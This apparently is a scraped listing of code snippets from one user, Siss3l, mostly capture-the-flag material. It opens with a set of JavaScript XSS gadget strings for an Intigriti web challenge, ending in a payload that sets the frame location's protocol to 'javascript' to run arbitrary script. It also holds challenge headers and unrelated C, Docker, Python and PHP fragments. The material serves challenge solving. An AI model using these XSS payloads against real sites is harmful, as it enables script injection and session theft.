Siss3l

xss = "'\xff'.codePointAt()"; // To obtain the number 255
xss = "Date.length";          // To obtain the digit 7
xss = "''+RegExp()";          // To return the pattern string "/(?:)/"
xss = "''.split('')";         // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs)
xss = "history.length";       // To get any number per page interaction, useful to avoid using like single quotes
xss = "localStorage.x";       // From the user `localStorage` who will retrieve any contained value from the `x` key
xss = "origin.match()";       // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]`
xss = "(''+RegExp()).at()";   // To return a slash string "/" with only 18 allowed characters
xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener
xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url p

Siss3l

Intigriti June Challenge

• Category: Web
• Impact: Medium
• Solves: ~50

Description

Siss3l

Intigriti July Challenge

• Category: Web
• Impact: Medium
• Solves: 35

Description

Siss3l

#include <stdio.h>
#include <stdint.h>
#include <immintrin.h>

int main() { // Working often on https://www.onlinegdb.com | gcc -O3 -mgfni -msse2 m128.c -o m128 && ./m128
    const __m128i r = _mm_gf2p8affine_epi64_epi8(_mm_set1_epi64(*(__m64*)"AaCcGgTt"),_mm_set1_epi64((__m64)433471464134410240),0);
    for (int k=0;k<8;k++) {printf("(%c: %i)","AaCcGgTt"[k],((/*int*/uint8_t*)&r)[k]);} // (A: 0)(a: 0)(C: 1)(c: 1)(G: 2)(g: 2)(T: 3)(t: 3)
    return 0; // https://stackoverflow.com/q/28939652 | Illegal instruction (core dumped) | _mm512_load_epi64
}

Siss3l

FROM dorowu/ubuntu-desktop-lxde-vnc:latest
WORKDIR /root/Desktop
ENV WINEPREFIX=/opt/wine WINEARCH=win32 TARGET_APPIMAGE=Setup-x86_64.AppImage APPIMAGE_EXTRACT_AND_RUN=1
EXPOSE 8080
# Have to get the launcher as Setup-x86_64.AppImage file beforehand, for strictly educational purposes.
COPY --chmod=755 ./Setup-x86_64.AppImage .
RUN ./Setup-x86_64.AppImage --appimage-extract && printf '#!/bin/sh\n/root/Desktop/squashfs-root/zaap --no-sandbox' > run.sh && chmod a+x run.sh
RUN apt update && apt upgrade -y && apt install default-jdk libfuse2 nano wine -y
# Here the commands for building/launching the container: docker build -t dockerfus -f Dockerfile . && docker run -p 8080:80 -v /dev/shm:/dev/shm dockerfus
# Then the graphical desktop-sharing system can be accessed from http://localhost:8080/ on any web browser (there may be some restrictions in place).

Siss3l

[
  {
    "type": "File",
    "start": 0,
    "end": 43328,
    "loc": {
      "start": {
        "line": 1,
        "column": 0,
        "index": 0

Siss3l

"""
This code provides functions to find the last nonzero values of a positive factorial.
"""


def f(n: int, k: int) -> int:
    """
    Returns the k last nonzero digits.
    .. note::
        As f(10**100, 13) is a Googolbang where the 13 last nonzero

Siss3l

Intigriti December Challenge

• Category:   Web
• Impact:       Medium
• Solves:        13

Description

Siss3l

#include <string>
#include <vector>
#include <sstream>
#include <iostream>
#include <algorithm>

typedef unsigned char UINT8;
typedef unsigned short UINT16;
typedef unsigned int UINT32;
typedef unsigned long long UINT64;

Siss3l

"""<?php

function source() { // require("key.php");
  echo "<pre>";
  highlight_string(file_get_contents(__FILE__));
  echo "</pre>";
}

function quit() {
  // source();